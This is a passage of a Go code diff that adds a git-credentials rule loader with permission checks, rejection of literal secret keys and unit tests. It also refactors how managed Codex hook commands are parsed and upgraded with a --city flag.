+func loadFileLayer(path string) (*layer, error) {
+	info, err := os.Stat(path)
+	if err != nil {
+		if os.IsNotExist(err) {
+			return nil, nil
+		}
+		return nil, fmt.Errorf("reading credentials file %q: %w", path, err)
+	}
+	if runtime.GOOS != "windows" && info.Mode().Perm()&0o077 != 0 {
+		return nil, fmt.Errorf("%w: %s", ErrInsecurePermissions, path)
+	}
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return nil, fmt.Errorf("reading credentials file %q: %w", path, err)
+	}
+	var file credentialsFile
+	if _, err := toml.Decode(string(data), &file); err != nil {
+		return nil, fmt.Errorf("parsing credentials file %q: %w", path, err)
+	}
+	abs, err := filepath.Abs(path)
+	if err != nil {
+		abs = path
+	}
+	lyr := &layer{}
+	for i, raw := range file.Credential {
+		rule, err := ruleFromRaw(raw)
+		if err != nil {
+			return nil, fmt.Errorf("credentials file %q credential #%d: %w", path, i+1, err)
+		}
+		lyr.rules = append(lyr.rules, LoadedRule{Rule: rule, Origin: abs})
+	}
+	return lyr, nil
+}
+
+// ruleFromRaw converts a decoded [[credential]] table into a validated Rule. It
+// rejects literal secret keys and enforces exactly-one-pointer cardinality.
+func ruleFromRaw(raw map[string]any) (Rule, error) {
+	for _, forbidden := range []string{"token", "password", "secret"} {
+		if _, ok := raw[forbidden]; ok {
+			return Rule{}, fmt.Errorf("literal %q key is not allowed; use a pointer (helper, token_file, token_env, or ssh_key_file)", forbidden)
+		}
+	}
+	var rule Rule
+	rule.Match = stringField(raw, "match")
+	rule.Username = stringField(raw, "username")
+	rule.Helper = stringField(raw, "helper")
+	rule.TokenFile = stringField(raw, "token_file")
+	rule.TokenEnv = stringField(raw, "token_env")
+	rule.SSHKeyFile = stringField(raw, "ssh_key_file")
+	if strings.TrimSpace(rule.Match) == "" {
+		return Rule{}, errors.New("match is required")
+	}
+	pointers := 0
+	for _, p := range []string{rule.Helper, rule.TokenFile, rule.TokenEnv, rule.SSHKeyFile} {
+		if strings.TrimSpace(p) != "" {
+			pointers++
+		}
+	}
+	if pointers == 0 {
+		return Rule{}, errors.New("no credential pointer set; exactly one of helper, token_file, token_env, or ssh_key_file is required")
+	}
+	if pointers > 1 {
+		return Rule{}, errors.New("more than one credential pointer set; exactly one of helper, token_file, token_env, or ssh_key_file is required")
+	}
+	return rule, nil
+}
+
+func stringField(raw map[string]any, key string) string {
+	if v, ok := raw[key]; ok {
+		if s, ok := v.(string); ok {
+			return s
+		}
+	}
+	return ""
+}
+
+// All returns every loaded rule, in layer order (highest-precedence layer
+// first), for listing.
+func (r *Rules) All() []LoadedRule {
+	var out []LoadedRule
+	for _, lyr := range r.layers {
+		out = append(out, lyr.rules...)
+	}
+	return out
+}
+
+// HasCommandLayer reports whether $GC_GIT_CREDENTIAL_COMMAND supplied a
+// last-resort fallback layer.
+func (r *Rules) HasCommandLayer() bool {
+	return r.commandLayer
+}
diff --git a/internal/gitcred/rules_test.go b/internal/gitcred/rules_test.go
new file mode 100644
index 0000000000..eddfeeae38
--- /dev/null
+++ b/internal/gitcred/rules_test.go
@@ -0,0 +1,218 @@
+package gitcred
+
+import (
+	"errors"
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"testing"
+)
+
+func writeCredFile(t *testing.T, path, content string, mode os.FileMode) {
+	t.Helper()
+	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
+		t.Fatalf("mkdir: %v", err)
+	}
+	if err := os.WriteFile(path, []byte(content), mode); err != nil {
+		t.Fatalf("write %s: %v", path, err)
+	}
+	if err := os.Chmod(path, mode); err != nil {
+		t.Fatalf("chmod %s: %v", path, err)
+	}
+}
+
+func TestLoadMissingFilesNotError(t *testing.T) {
+	t.Setenv("GC_HOME", t.TempDir())
+	t.Setenv(EnvCredentialsFile, "")
+	t.Setenv("GITHUB_TOKEN", "")
+	t.Setenv("GH_TOKEN", "")
+	t.Setenv(EnvCredentialCommand, "")
+	rules, err := Load(t.TempDir())
+	if err != nil {
+		t.Fatalf("Load: %v", err)
+	}
+	if len(rules.All()) != 0 {
+		t.Fatalf("expected no rules, got %d", len(rules.All()))
+	}
+	if rules.HasCommandLayer() {
+		t.Fatalf("unexpected command layer")
+	}
+}
+
+func TestLoadLayeredOrder(t *testing.T) {
+	home := t.TempDir()
+	city := t.TempDir()
+	t.Setenv("GC_HOME", home)
+	t.Setenv(EnvCredentialsFile, "")
+	t.Setenv("GITHUB_TOKEN", "")
+	t.Setenv("GH_TOKEN", "")
+	t.Setenv(EnvCredentialCommand, "")
+
+	writeCredFile(t, filepath.Join(home, "credentials.toml"), `
+[[credential]]
+match = "github.com"
+helper = "gh auth token"
+`, 0o600)
+	writeCredFile(t, filepath.Join(city, ".gc", "credentials.toml"), `
+[[credential]]
+match = "github.com/gascity"
+token_env = "TOK"
+`, 0o600)
+
+	rules, err := Load(city)
+	if err != nil {
+		t.Fatalf("Load: %v", err)
+	}
+	all := rules.All()
+	if len(all) != 2 {
+		t.Fatalf("want 2 rules, got %d", len(all))
+	}
+	// City layer is highest precedence → first.
+	if all[0].Match != "github.com/gascity" {
+		t.Fatalf("want city rule first, got %q", all[0].Match)
+	}
+	if all[1].Match != "github.com" {
+		t.Fatalf("want home rule second, got %q", all[1].Match)
+	}
+}
+
+func TestLoadEnvFileReplacesFileLayers(t *testing.T) {
+	home := t.TempDir()
+	city := t.TempDir()
+	explicit := filepath.Join(t.TempDir(), "explicit.toml")
+	t.Setenv("GC_HOME", home)
+	t.Setenv("GITHUB_TOKEN", "")
+	t.Setenv("GH_TOKEN", "")
+	t.Setenv(EnvCredentialCommand, "")
+
+	writeCredFile(t, filepath.Join(home, "credentials.toml"), "[[credential]]\nmatch=\"a.com\"\nhelper=\"x\"\n", 0o600)
+	writeCredFile(t, filepath.Join(city, ".gc", "credentials.toml"), "[[credential]]\nmatch=\"b.com\"\nhelper=\"y\"\n", 0o600)
+	writeCredFile(t, explicit, "[[credential]]\nmatch=\"c.com\"\nhelper=\"z\"\n", 0o600)
+	t.Setenv(EnvCredentialsFile, explicit)
+
+	rules, err := Load(city)
+	if err != nil {
+		t.Fatalf("Load: %v", err)
+	}
+	all := rules.All()
+	if len(all) != 1 || all[0].Match != "c.com" {
+		t.Fatalf("env file must replace file layers, got %+v", all)
+	}
+}
+
+func TestLoadInsecurePermissions(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("permission bits are POSIX-only")
+	}
+	city := t.TempDir()
+	t.Setenv("GC_HOME", t.TempDir())
+	t.Setenv(EnvCredentialsFile, "")
+	t.Setenv("GITHUB_TOKEN", "")
+	t.Setenv("GH_TOKEN", "")
+	t.Setenv(EnvCredentialCommand, "")
+	writeCredFile(t, filepath.Join(city, ".gc", "credentials.toml"), "[[credential]]\nmatch=\"a.com\"\nhelper=\"x\"\n", 0o644)
+
+	_, err := Load(city)
+	if !errors.Is(err, ErrInsecurePermissions) {
+		t.Fatalf("want ErrInsecurePermissions, got %v", err)
+	}
+}
+
+func TestLoadRejectsLiteralSecretKeys(t *testing.T) {
+	for _, key := range []string{"token", "password", "secret"} {
+		t.Run(key, func(t *testing.T) {
+			city := t.TempDir()
+			t.Setenv("GC_HOME", t.TempDir())
+			t.Setenv(EnvCredentialsFile, "")
+			t.Setenv("GITHUB_TOKEN", "")
+			t.Setenv("GH_TOKEN", "")
+			t.Setenv(EnvCredentialCommand, "")
+			writeCredFile(t, filepath.Join(city, ".gc", "credentials.toml"),
+				"[[credential]]\nmatch=\"a.com\"\n"+key+"=\"ghp_secretvalue\"\n", 0o600)
+			_, err := Load(city)
+			if err == nil {
+				t.Fatalf("expected hard error for literal %q key", key)
+			}
+			if strings.Contains(err.Error(), "ghp_secretvalue") {
+				t.Fatalf("error leaked the secret value: %v", err)
+			}
+		})
+	}
+}
+
+func TestLoadRejectsPointerCardinality(t *testing.T) {
+	tests := map[string]string{
+		"zero pointers": "[[credential]]\nmatch=\"a.com\"\n",
+		"two pointers":  "[[credential]]\nmatch=\"a.com\"\nhelper=\"x\"\ntoken_env=\"Y\"\n",
+	}
+	for name, body := range tests {
+		t.Run(name, func(t *testing.T) {
+			city := t.TempDir()
+			t.Setenv("GC_HOME", t.TempDir())
+			t.Setenv(EnvCredentialsFile, "")
+			t.Setenv("GITHUB_TOKEN", "")
+			t.Setenv("GH_TOKEN", "")
+			t.Setenv(EnvCredentialCommand, "")
+			writeCredFile(t, filepath.Join(city, ".gc", "credentials.toml"), body, 0o600)
+			if _, err := Load(city); err == nil {
+				t.Fatalf("expected hard error for %s", name)
+			}
+		})
+	}
+}
+
+func TestLoadRecordsCommandLayer(t *testing.T) {
+	t.Setenv("GC_HOME", t.TempDir())
+	t.Setenv(EnvCredentialsFile, "")
+	t.Setenv("GITHUB_TOKEN", "")
+	t.Setenv("GH_TOKEN", "")
+	t.Setenv(EnvCredentialCommand, "my-helper get")
+	rules, err := Load("")
+	if err != nil {
+		t.Fatalf("Load: %v", err)
+	}
+	if !rules.HasCommandLayer() {
+		t.Fatalf("expected command layer recorded")
+	}
+}
+
+func TestLoadCommandLayerSkipsGitHubDefault(t *testing.T) {
+	// With both an ambient GitHub token and a configured command layer, the
+	// built-in github.com default must NOT be created: the command layer is a
+	// no-rule fallback consulted only when no rule matches, so a default rule
+	// would shadow the deliberately-configured helper. Skipping the default
+	// keeps command-layer precedence, which is what the Load comment promises.
+	t.Setenv("GC_HOME", t.TempDir())
+	t.Setenv(EnvCredentialsFile, "")
+	t.Setenv("GITHUB_TOKEN", "ghp_example")
+	t.Setenv("GH_TOKEN", "")
+	t.Setenv(EnvCredentialCommand, "my-helper get")
+	rules, err := Load("")
+	if err != nil {
+		t.Fatalf("Load: %v", err)
+	}
+	if _, ok := rules.MatchSource("https://github.com/org/repo"); ok {
+		t.Fatalf("github.com default must be skipped when a command layer is configured")
+	}
+	if !rules.HasCommandLayer() {
+		t.Fatalf("expected the command layer to remain recorded")
+	}
+}
+
+func TestLoadSkipsCityLayerWhenRootEmpty(t *testing.T) {
+	home := t.TempDir()
+	t.Setenv("GC_HOME", home)
+	t.Setenv(EnvCredentialsFile, "")
+	t.Setenv("GITHUB_TOKEN", "")
+	t.Setenv("GH_TOKEN", "")
+	t.Setenv(EnvCredentialCommand, "")
+	writeCredFile(t, filepath.Join(home, "credentials.toml"), "[[credential]]\nmatch=\"a.com\"\nhelper=\"x\"\n", 0o600)
+	rules, err := Load("")
+	if err != nil {
+		t.Fatalf("Load: %v", err)
+	}
+	if len(rules.All()) != 1 {
+		t.Fatalf("want 1 home rule, got %d", len(rules.All()))
+	}
+}
diff --git a/internal/gitcred/testenv_import_test.go b/internal/gitcred/testenv_import_test.go
new file mode 100644
index 0000000000..ce8f359199
--- /dev/null
+++ b/internal/gitcred/testenv_import_test.go
@@ -0,0 +1,5 @@
+// Code generated by go run scripts/add-testenv-import.go; DO NOT EDIT.
+
+package gitcred
+
+import _ "github.com/gastownhall/gascity/internal/testenv"
diff --git a/internal/hooks/hooks.go b/internal/hooks/hooks.go
index aad837e18c..526d3f9a19 100644
--- a/internal/hooks/hooks.go
+++ b/internal/hooks/hooks.go
@@ -22,6 +22,7 @@ import (
 	"github.com/gastownhall/gascity/internal/citylayout"
 	"github.com/gastownhall/gascity/internal/fsys"
 	"github.com/gastownhall/gascity/internal/overlay"
+	"github.com/gastownhall/gascity/internal/shellquote"
 )
 
 //go:embed config/*
@@ -157,9 +158,9 @@ func InstallWithResolver(fs fsys.FS, cityDir, workDir string, providers []string
 		case "claude":
 			err = installClaude(fs, cityDir)
 		case "codex", "gemini", "antigravity", "kiro", "opencode", "mimocode", "copilot", "cursor", "pi", "omp", "kimi":
-			err = installOverlayManaged(fs, workDir, family)
+			err = installOverlayManaged(fs, cityDir, workDir, family)
 		case "groq", "cerebras":
-			err = installOverlayManaged(fs, workDir, "opencode")
+			err = installOverlayManaged(fs, cityDir, workDir, "opencode")
 		default:
 			return fmt.Errorf("unsupported hook provider %q", p)
 		}
@@ -170,7 +171,7 @@ func InstallWithResolver(fs fsys.FS, cityDir, workDir string, providers []string
 	return nil
 }
 
-func installOverlayManaged(fs fsys.FS, workDir, provider string) error {
+func installOverlayManaged(fs fsys.FS, cityDir, workDir, provider string) error {
 	if strings.TrimSpace(workDir) == "" {
 		return nil
 	}
@@ -195,7 +196,7 @@ func installOverlayManaged(fs fsys.FS, workDir, provider string) error {
 			return writeJSONOverlayManaged(fs, dst, data)
 		}
 		if provider == "codex" && rel == path.Join(".codex", "hooks.json") {
-			return writeCodexHooksManaged(fs, dst, data)
+			return writeCodexHooksManaged(fs, cityDir, dst, data)
 		}
 		if overlay.IsMergeablePath(filepath.FromSlash(rel)) {
 			if normalized, normErr := overlay.CanonicalJSON(data); normErr == nil {
@@ -611,9 +612,12 @@ func readClaudeSettingsCandidate(fs fsys.FS, path string) (claudeCandidateState,
 	return candidateUnreadable, nil, err
 }
 
-func writeCodexHooksManaged(fs fsys.FS, dst string, data []byte) error {
+func writeCodexHooksManaged(fs fsys.FS, cityDir, dst string, data []byte) error {
+	if normalized, _, err := normalizeCodexHookCommands(data, cityDir); err == nil {
+		data = normalized
+	}
 	if existing, err := fs.ReadFile(dst); err == nil {
-		upgraded, changed, upgradeErr := upgradeCodexHooks(existing, data)
+		upgraded, changed, upgradeErr := upgradeCodexHooks(existing, data, cityDir)
 		if upgradeErr != nil || !changed {
 			return nil
 		}
@@ -621,10 +625,6 @@ func writeCodexHooksManaged(fs fsys.FS, dst string, data []byte) error {
 	} else if _, statErr := fs.Stat(dst); statErr == nil {
 		return nil
 	}
-	normalized, _, err := normalizeCodexHookCommands(data)
-	if err == nil {
-		data = normalized
-	}
 	return writeManagedData(fs, dst, data)
 }
 
@@ -639,15 +639,15 @@ func writeManagedData(fs fsys.FS, dst string, data []byte) error {
 	return nil
 }
 
-func upgradeCodexHooks(existing, desired []byte) ([]byte, bool, error) {
+func upgradeCodexHooks(existing, desired []byte, cityDir string) ([]byte, bool, error) {
 	var root any
 	if err := json.Unmarshal(existing, &root); err != nil {
 		return nil, false, err
 	}
-	hasManagedCommand := codexHookValueHasManagedCommand(root)
+	hasManagedCommand := codexHookValueHasManagedCommand(root, "")
 	needsPreCompact := codexHookDocCanAddPreCompact(root)
-	changed := upgradeCodexHookValue(root)
-	if desiredCodexPreCompactHook(desired) != nil && normalizeCodexManagedHookEntries(root) {
+	changed := upgradeCodexHookValue(root, "", cityDir)
+	if desiredCodexPreCompactHook(desired) != nil && normalizeCodexManagedHookEntries(root, cityDir) {
 		changed = true
 	}
 	if addCodexPreCompactHook(root, desired) {
@@ -663,14 +663,14 @@ func upgradeCodexHooks(existing, desired []byte) ([]byte, bool, error) {
 	return data, changed, nil
 }
 
-func normalizeCodexHookCommands(existing []byte) ([]byte, bool, error) {
+func normalizeCodexHookCommands(existing []byte, cityDir string) ([]byte, bool, error) {
 	var root any
 	if err := json.Unmarshal(existing, &root); err != nil {
 		return nil, false, err
 	}
-	hasManagedCommand := codexHookValueHasManagedCommand(root)
-	changed := upgradeCodexHookValue(root)
-	if normalizeCodexManagedHookEntries(root) {
+	hasManagedCommand := codexHookValueHasManagedCommand(root, "")
+	changed := upgradeCodexHookValue(root, "", cityDir)
+	if normalizeCodexManagedHookEntries(root, cityDir) {
 		changed = true
 	}
 	data, err := overlay.MarshalCanonicalJSON(root)
@@ -693,23 +693,52 @@ func CodexHooksMissingManagedPreCompact(data []byte) bool {
 	return codexHookDocCanAddPreCompact(root)
 }
 
-func codexHookValueHasManagedCommand(v any) bool {
+// CodexHooksNeedManagedUpgrade reports whether data is a recognizable Gas City
+// managed Codex hooks document that would be upgraded to current managed form
+// for cityDir, including explicit --city rebinding and missing PreCompact.
+func CodexHooksNeedManagedUpgrade(data []byte, cityDir string) bool {
+	var root any
+	if err := json.Unmarshal(data, &root); err != nil {
+		return false
+	}
+	return applyCodexManagedHookUpgrade(root, nil, cityDir)
+}
+
+func applyCodexManagedHookUpgrade(root any, desired []byte, cityDir string) bool {
+	changed := upgradeCodexHookValue(root, "", cityDir)
+	if addCodexPreCompactHook(root, desired) {
+		changed = true
+	}
+	return changed
+}
+
+func codexHookValueHasManagedCommand(v any, event string) bool {
 	switch node := v.(type) {
 	case map[string]any:
 		for key, val := range node {
+			if key == "hooks" {
+				if hooksMap, ok := val.(map[string]any); ok {
+					for eventName, eventVal := range hooksMap {
+						if codexHookValueHasManagedCommand(eventVal, eventName) {
+							return true
+						}
+					}
+					continue
+				}
+			}
 			if key == "command" {
-				if command, ok := val.(string); ok && isCodexManagedHookCommand(command) {
+				if command, ok := val.(string); ok && codexHookCommandLooksManaged(event, command) {
 					return true
 				}
 				continue
 			}
-			if codexHookValueHasManagedCommand(val) {
+			if codexHookValueHasManagedCommand(val, event) {
 				return true
 			}
 		}
 	case []any:
 		for _, elem := range node {
-			if codexHookValueHasManagedCommand(elem) {
+			if codexHookValueHasManagedCommand(elem, event) {
 				return true
 			}
 		}
@@ -717,21 +746,31 @@ func codexHookValueHasManagedCommand(v any) bool {
 	return false
 }
 
-func upgradeCodexHookValue(v any) bool {
+func upgradeCodexHookValue(v any, event, cityDir string) bool {
 	switch node := v.(type) {
 	case map[string]any:
 		changed := false
 		for key, val := range node {
+			if key == "hooks" {
+				if hooksMap, ok := val.(map[string]any); ok {
+					for eventName, eventVal := range hooksMap {
+						if upgradeCodexHookValue(eventVal, eventName, cityDir) {
+							changed = true
+						}
+					}
+					continue
+				}
+			}
 			if key == "command" {
 				if command, ok := val.(string); ok {
-					if upgraded, didUpgrade := upgradeCodexHookCommand(command); didUpgrade {
+					if upgraded, didUpgrade := upgradeCodexHookCommand(event, command, cityDir); didUpgrade {
 						node[key] = upgraded
 						changed = true
 					}
 				}
 				continue
 			}
-			if upgradeCodexHookValue(val) {
+			if upgradeCodexHookValue(val, event, cityDir) {
 				changed = true
 			}
 		}
@@ -739,7 +778,7 @@ func upgradeCodexHookValue(v any) bool {
 	case []any:
 		changed := false
 		for _, elem := range node {
-			if upgradeCodexHookValue(elem) {
+			if upgradeCodexHookValue(elem, event, cityDir) {
 				changed = true
 			}
 		}
@@ -749,7 +788,7 @@ func upgradeCodexHookValue(v any) bool {
 	}
 }
 
-func normalizeCodexManagedHookEntries(root any) bool {
+func normalizeCodexManagedHookEntries(root any, cityDir string) bool {
 	doc, ok := root.(map[string]any)
 	if !ok {
 		return false
@@ -768,11 +807,11 @@ func normalizeCodexManagedHookEntries(root any) bool {
 		seenManaged := map[string]bool{}
 		for _, entry := range entries {
 			if event == "SessionStart" {
-				if normalizeCodexManagedSessionStartEntry(entry) {
+				if normalizeCodexManagedSessionStartEntry(entry, cityDir) {
 					changed = true
 				}
 			}
-			if codexHookValueHasManagedCommand(entry) {
+			if codexHookValueHasManagedCommand(entry, event) {
 				keyData, err := overlay.MarshalCanonicalJSON(entry)
 				if err == nil {
 					key := string(keyData)
@@ -792,9 +831,9 @@ func normalizeCodexManagedHookEntries(root any) bool {
 	return changed
 }
 
-func normalizeCodexManagedSessionStartEntry(entry any) bool {
+func normalizeCodexManagedSessionStartEntry(entry any, cityDir string) bool {
 	entryMap, ok := entry.(map[string]any)
-	if !ok || !codexHookEntryHasCommandBody(entryMap, sessionStartCurrentFormBody) {
+	if !ok || !codexHookEntryHasCommandBody(entryMap, sessionStartCurrentFormBody(cityDir)) {
 		return false
 	}
 	if matcher, ok := entryMap["matcher"].(string); !ok || matcher != "startup" {
@@ -825,71 +864,324 @@ func codexHookEntryHasCommandBody(entry map[string]any, body string) bool {
 	return false
 }
 
-var codexManagedHookCommandNeedles = []string{
-	`gc prime --hook`,
-	`gc nudge drain --inject`,
-	`gc mail check --inject`,
-	`gc hook --inject`,
-	`gc handoff --auto`,
+func codexHookCommandLooksManaged(event, command string) bool {
+	_, env, args, ok := parseManagedGCCommand(command)
+	if !ok {
+		return false
+	}
+	switch event {
+	case "SessionStart":
+		return codexSessionStartArgsMatch(env, args) || codexLegacySessionStartRunArgsMatch(args)
+	case "PreCompact":
+		return codexPreCompactArgsMatch(args)
+	case "UserPromptSubmit":
+		return codexManagedPromptArgsMatch(args, "codex")
+	default:
+		return codexSessionStartArgsMatch(env, args) ||
+			codexLegacySessionStartRunArgsMatch(args) ||
+			codexPreCompactArgsMatch(args) ||
+			codexManagedPromptArgsMatch(args, "codex")
+	}
 }
 
-func isCodexManagedHookCommand(command string) bool {
-	for _, needle := range codexManagedHookCommandNeedles {
-		if strings.Contains(command, needle) {
-			return true
+func upgradeCodexHookCommand(event, command, cityDir string) (string, bool) {
+	prefix, env, args, ok := parseManagedGCCommand(command)
+	if !ok {
+		return "", false
+	}
+	switch event {
+	case "SessionStart":
+		if !codexSessionStartArgsMatch(env, args) && !codexLegacySessionStartRunArgsMatch(args) {
+			return "", false
 		}
+		desired := sessionStartCurrentFormBody(cityDir)
+		return prefix + desired, strings.TrimPrefix(command, prefix) != desired
+	case "PreCompact":
+		if !codexPreCompactArgsMatch(args) {
+			return "", false
+		}
+		desired := preCompactCurrentFormBody(cityDir)
+		return prefix + desired, strings.TrimPrefix(command, prefix) != desired
+	case "UserPromptSubmit":
+		return upgradeManagedPromptHookCommand(command, "codex", cityDir)
+	default:
+		if upgraded, ok := upgradeManagedPromptHookCommand(command, "codex", cityDir); ok {
+			return upgraded, true
+		}
+		if codexSessionStartArgsMatch(env, args) || codexLegacySessionStartRunArgsMatch(args) {
+			desired := sessionStartCurrentFormBody(cityDir)
+			return prefix + desired, strings.TrimPrefix(command, prefix) != desired
+		}
+		if codexPreCompactArgsMatch(args) {
+			desired := preCompactCurrentFormBody(cityDir)
+			return prefix + desired, strings.TrimPrefix(command, prefix) != desired
+		}
+		return "", false
 	}
-	return false
 }
 
-func upgradeCodexHookCommand(command string) (string, bool) {
-	body := commandBodyAfterCanonicalPrefix(command)
-	if equalsLegacyCommandBody(body, `gc prime --hook`) ||
-		equalsLegacyCommandBody(body, `gc prime --hook --hook-format codex`) ||
-		equalsLegacyCommandBody(body, `GC_HOOK_EVENT_NAME=SessionStart gc prime --hook`) ||
-		equalsLegacyCommandBody(body, `GC_HOOK_EVENT_NAME=SessionStart gc prime --hook --hook-format codex`) ||
-		equalsLegacyCommandBody(body, sessionStartPreviousManagedFormBody) {
-		prefix := strings.TrimSuffix(command, body)
-		return prefix + sessionStartCurrentFormBody, true
-	}
-	if equalsLegacyCommandBody(body, managedPromptHookRunPrefix+`prime --hook`) ||
-		equalsLegacyCommandBody(body, managedPromptHookRunPrefix+`prime --hook --hook-format codex`) {
-		prefix := strings.TrimSuffix(command, body)
-		return prefix + sessionStartCurrentFormBody, true
-	}
-	if upgraded, ok := upgradeManagedPromptHookCommand(command, "codex"); ok {
-		return upgraded, true
-	}
-	if strings.Contains(command, `--hook-format codex`) {
+func managedPromptHookRunPrefix(cityDir string) string {
+	return `gc ` + codexCityFlag(cityDir) + `hook run --timeout 15s --timeout-exit-code 0 -- `
+}
+
+func upgradeManagedPromptHookCommand(command, hookFormat, cityDir string) (string, bool) {
+	prefix, _, args, ok := parseManagedGCCommand(command)
+	if !ok {
 		return "", false
 	}
-	for _, needle := range codexManagedHookCommandNeedles {
-		if strings.Contains(command, needle) {
-			return strings.Replace(command, needle, needle+` --hook-format codex`, 1), true
+	target, ok := codexManagedPromptTargetArgs(args, hookFormat)
+	if !ok {
+		return "", false
+	}
+	desired := managedPromptHookRunPrefix(cityDir) + target
+	return prefix + desired, strings.TrimPrefix(command, prefix) != desired
+}
+
+func codexCityFlag(cityDir string) string {
+	cityDir = strings.TrimSpace(cityDir)
+	if cityDir == "" {
+		return ""
+	}
+	return `--city ` + shellquote.Quote(cityDir) + ` `
+}
+
+func isCodexSessionStartCommandBody(body string) bool {
+	env, args, ok := parseGCCommandBody(body)
+	if !ok {
+		return false
+	}
+	if event, ok := env["GC_HOOK_EVENT_NAME"]; ok && event != "SessionStart" {
+		return false
+	}
+	if len(args) == 2 && args[0] == "prime" && args[1] == "--hook" {
+		return true
+	}
+	return len(args) == 4 && args[0] == "prime" && args[1] == "--hook" && args[2] == "--hook-format" && args[3] == "codex"
+}
+
+func isCodexPreCompactCommandBody(body string) bool {
+	_, args, ok := parseGCCommandBody(body)
+	if !ok || len(args) < 2 || args[0] != "handoff" {
+		return false
+	}
+	switch {
+	case len(args) == 2 && args[1] == "context cycle":
+		return true
+	case len(args) == 3 && args[1] == "--auto" && args[2] == "context cycle":
+		return true
+	case len(args) == 5 && args[1] == "--auto" && args[2] == "--hook-format" && args[3] == "codex" && args[4] == "context cycle":
+		return true
+	default:
+		return false
+	}
+}
+
+func codexManagedPromptTarget(body, hookFormat string) bool {
+	_, args, ok := parseGCCommandBody(body)
+	if !ok {
+		return false
+	}
+	if len(args) >= 3 && args[0] == "nudge" && args[1] == "drain" && args[2] == "--inject" {
+		_, ok := managedPromptTarget("nudge drain --inject", args[3:], hookFormat)
+		return ok
+	}
+	if len(args) >= 3 && args[0] == "mail" && args[1] == "check" && args[2] == "--inject" {
+		_, ok := managedPromptTarget("mail check --inject", args[3:], hookFormat)
+		return ok
+	}
+	if len(args) < 8 || args[0] != "hook" || args[1] != "run" {
+		return false
+	}
+	if args[2] != "--timeout" || args[3] != "15s" || args[4] != "--timeout-exit-code" || args[5] != "0" || args[6] != "--" {
+		return false
+	}
+	targetArgs := args[7:]
+	switch {
+	case len(targetArgs) >= 3 && targetArgs[0] == "nudge" && targetArgs[1] == "drain" && targetArgs[2] == "--inject":
+		_, ok := managedPromptTarget("nudge drain --inject", targetArgs[3:], hookFormat)
+		return ok
+	case len(targetArgs) >= 3 && targetArgs[0] == "mail" && targetArgs[1] == "check" && targetArgs[2] == "--inject":
+		_, ok := managedPromptTarget("mail check --inject", targetArgs[3:], hookFormat)
+		return ok
+	default:
+		return false
+	}
+}
+
+func managedPromptTarget(base string, rest []string, hookFormat string) (string, bool) {
+	if len(rest) == 0 {
+		if hookFormat == "" {
+			return base, true
 		}
+		return base + ` --hook-format ` + hookFormat, true
+	}
+	if hookFormat == "" {
+		return "", false
+	}
+	if len(rest) == 2 && rest[0] == "--hook-format" && rest[1] == hookFormat {
+		return base + ` --hook-format ` + hookFormat, true
 	}
 	return "", false
 }
 
-const managedPromptHookRunPrefix = `gc hook run --timeout 15s --timeout-exit-code 0 -- `
+func parseGCCommandBody(body string) (map[string]string, []string, bool) {
+	tokens := shellquote.Split(body)
+	if len(tokens) == 0 {
+		return nil, nil, false
+	}
+	env := map[string]string{}
+	i := 0
+	for i < len(tokens) && strings.Contains(tokens[i], "=") && !strings.HasPrefix(tokens[i], "=") {
+		key, value, ok := strings.Cut(tokens[i], "=")
+		if !ok || key == "" {
+			break
+		}
+		if !isManagedGCCommandEnvKey(key) {
+			return nil, nil, false
+		}
+		env[key] = value
+		i++
+	}
+	if i >= len(tokens) || tokens[i] != "gc" {
+		return nil, nil, false
+	}
+	args := tokens[i+1:]
+	if len(args) >= 2 && args[0] == "--city" {
+		args = args[2:]
+	} else if len(args) >= 1 && strings.HasPrefix(args[0], "--city=") {
+		args = args[1:]
+	}
+	return env, args, true
+}
+
+func isManagedGCCommandEnvKey(key string) bool {
+	switch key {
+	case "GC_MANAGED_SESSION_HOOK", "GC_HOOK_EVENT_NAME":
+		return true
+	default:
+		return false
+	}
+}
 
-func upgradeManagedPromptHookCommand(command, hookFormat string) (string, bool) {
-	body := commandBodyAfterCanonicalPrefix(command)
-	for _, base := range []string{
-		`gc nudge drain --inject`,
-		`gc mail check --inject`,
-	} {
-		if equalsLegacyCommandBody(body, base) ||
-			(hookFormat != "" && equalsLegacyCommandBody(body, base+` --hook-format `+hookFormat)) {
-			target := strings.TrimPrefix(base, `gc `)
-			if hookFormat != "" {
-				target += ` --hook-format ` + hookFormat
-			}
-			prefix := strings.TrimSuffix(command, body)
-			return prefix + managedPromptHookRunPrefix + target, true
+func parseManagedGCCommand(command string) (string, map[string]string, []string, bool) {
+	prefix := ""
+	body := command
+	if strings.HasPrefix(body, canonicalGCPathPrefix) {
+		prefix = canonicalGCPathPrefix
+		body = strings.TrimPrefix(body, canonicalGCPathPrefix)
+	}
+	tokens := shellquote.Split(body)
+	if len(tokens) == 0 {
+		return "", nil, nil, false
+	}
+	env := map[string]string{}
+	var envTokens []string
+	var extraEnvTokens []string
+	i := 0
+	hasManagedEnv := false
+	for i < len(tokens) && strings.Contains(tokens[i], "=") && !strings.HasPrefix(tokens[i], "=") {
+		key, value, ok := strings.Cut(tokens[i], "=")
+		if !ok || key == "" {
+			break
 		}
+		if isManagedGCCommandEnvKey(key) {
+			hasManagedEnv = true
+		} else {
+			extraEnvTokens = append(extraEnvTokens, tokens[i])
+		}
+		env[key] = value
+		envTokens = append(envTokens, tokens[i])
+		i++
+	}
+	if i >= len(tokens) || tokens[i] != "gc" {
+		return "", nil, nil, false
+	}
+	if len(envTokens) > 0 && prefix == "" && !hasManagedEnv {
+		return "", nil, nil, false
+	}
+	if len(extraEnvTokens) > 0 {
+		prefix += shellquote.Join(extraEnvTokens) + " "
+	}
+	args := tokens[i+1:]
+	if len(args) >= 2 && args[0] == "--city" {
+		args = args[2:]
+	} else if len(args) >= 1 && strings.HasPrefix(args[0], "--city=") {
+		args = args[1:]
+	}
+	return prefix, env, args, true
+}
+
+func codexSessionStartArgsMatch(env map[string]string, args []string) bool {
+	if event, ok := env["GC_HOOK_EVENT_NAME"]; ok && event != "SessionStart" {
+		return false
+	}
+	if len(args) == 2 && args[0] == "prime" && args[1] == "--hook" {
+		return true
+	}
+	return len(args) == 4 && args[0] == "prime" && args[1] == "--hook" && args[2] == "--hook-format" && args[3] == "codex"
+}
+
+func codexLegacySessionStartRunArgsMatch(args []string) bool {
+	if len(args) < 8 || args[0] != "hook" || args[1] != "run" {
+		return false
+	}
